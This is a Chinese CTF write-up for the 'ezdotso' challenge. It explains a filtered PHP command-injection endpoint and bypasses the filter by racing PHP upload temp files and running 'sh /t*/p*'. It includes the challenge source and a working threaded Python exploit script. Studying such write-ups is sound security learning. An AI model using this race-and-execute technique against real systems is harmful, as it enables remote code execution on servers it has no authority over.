0%

ezdotso writeup 通过临时文件条件竞争

题目给了一个源码和一个so文件
源码如下(稍微加了一点输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
switch($action){
case "php_info":
echo call_user_func_array("php_info",$param);
break;
case "cmd":
if(isset($cmd)){
if(is_string($cmd)){
if (strlen($cmd)>9){
die();
}
$pat1 = "/[^0-9a-zA-Z \/\*]/";
$count1 = preg_match($pat1, $cmd);
echo $count1;
echo "<br>";
if ($count1>0){
die("1111");
}
$pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
$count2 = preg_match($pat2, $cmd);
echo $count2;
echo "<br>";
if ($count2==0){
die("2222");
}
$c = "busybox ".$cmd;
system($c);
}
}
break;
default:
echo call_user_func_array("hello",$param);
break;
}
}else{
show_source(__FILE__);
}

在分析代码之前解两个问题

  • busybox 是啥?
    busybox 是一个程序,通常会通过busybox ls 来执行命令,其实就相当于执行了ls 这个命令。busybox ls 中的ls 其实相当于给busybox传的参数,大概有这么多能用的参数。
    1
    acpid, adjtimex, ar, arp, arping, ash, awk, basename, blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, chgrp, chmod, chown, chpasswd, chroot, chvt, clear, cmp, cp, cpio, crond, crontab,cttyhack, cut, date, dc, dd, deallocvt, depmod, devmem, df, diff, dirname, dmesg, dnsdomainname, dos2unix, dpkg, dpkg-deb, du, dumpkmap, dumpleases, echo, ed, egrep, env, expand, expr, false,fdisk, fgrep, find, fold, free, freeramdisk, fstrim, ftpget, ftpput, getopt, getty, grep, groups, gunzip, gzip, halt, head, hexdump, hostid, hostname, httpd, hwclock, id, ifconfig, ifdown, ifup,init, insmod, ionice, ip, ipcalc, kill, killall, klogd, last, less, ln, loadfont, loadkmap, logger, login, logname, logread, losetup, ls, lsmod, lzcat, lzma, lzop, lzopcat, md5sum, mdev,microcom, mkdir, mkfifo, mknod, mkswap, mktemp, modinfo, modprobe, more, mount, mt, mv, nameif, nc, netstat, nslookup, od, openvt, passwd, patch, pidof, ping, ping6, pivot_root, poweroff, printf,ps, pwd, rdate, readlink, realpath, reboot, renice, reset, rev, rm, rmdir, rmmod, route, rpm, rpm2cpio, run-parts, sed, seq, setkeycodes, setsid, sh, sha1sum, sha256sum, sha512sum, sleep, sort,start-stop-daemon, stat, static-sh, strings, stty, su, sulogin, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, taskset, tee, telnet, telnetd, test, tftp, time, timeout, top,touch, tr, traceroute, traceroute6, true, tty, tunctl, udhcpc, udhcpd, umount, uname, uncompress, unexpand, uniq, unix2dos, unlzma, unlzop, unxz, unzip, uptime, usleep,uudecode, uuencode,vconfig, vi, watch, watchdog, wc, wget, which, who, whoami, xargs, xz, xzcat, yes, zcat

为啥没有权读文件但执行readlflag程序却读出文件?
文件权限除了有正常的rwx 权限外

  • 对于文件还有权限s 表示setuid 表示文件在执行阶段拥有文件创建者的权限。
    -rwsr-xr-x 1 root root 54256 May 17 2017 passwd 表示任何人在执行的passwd 时创建的进程对应的权限是root

  • 对于文件夹还有setgid 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组

  • sticky bit该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该目录具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用sticky bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件

image-20181201093310195

从刚开始的源代码中可以明显看到有三个功能

  • php_info 显示phpinfo
  • cmd 执行命令的
  • Hello 看起来没啥用,官方的预期解法就在这里

通过查看phpinfo 我们可以看到加载了ezdotso.so ,出题人的意思应该是让我们去分析so文件,但是作为web狗怎么能向二进制低头呢?

直接看没有涉及到ezdotso.so 的东西,也就是action=cmd的部分。

要满足三个条件才能执行

  • cmd长度不能大于9
  • 不能包含0-9a-zA-Z /* 以外的字符
  • 只能是以字符+空格+0-9a-zA-Z /* 的形式

通过cmd=ls /h*/* 可以发现有个readflag 程序,所以思路比较清晰了运行readflag 就能拿到flag了。

可以通过busybox /h*/r* 但是这样不满足正则。陷入僵局。

php上传产生的临时文件再次发挥了作用

php在上传文件的时候会在/tmp/ 文件夹下面生成/tmp/phpxxxxxx 文件,所以我们可以在上传的同时去执行

sh /t*/p* 刚好9个字符。

下面是利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import threading
import os

url = "http://u.cn:3423"

payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"/tmp/readflag"}

def go():
r = requests.post(url, params=params, files=files)
#print(repr(r.text))
if "0<br>1<br>" != r.text:
print(r.text)
os._exit(0)


def upload():
r = requests.post(url, files=files)

while True:
t = threading.Thread(target=go, args=())
t.start()
#t = threading.Thread(target=upload, args=())
#t.start()

image-20181201093534582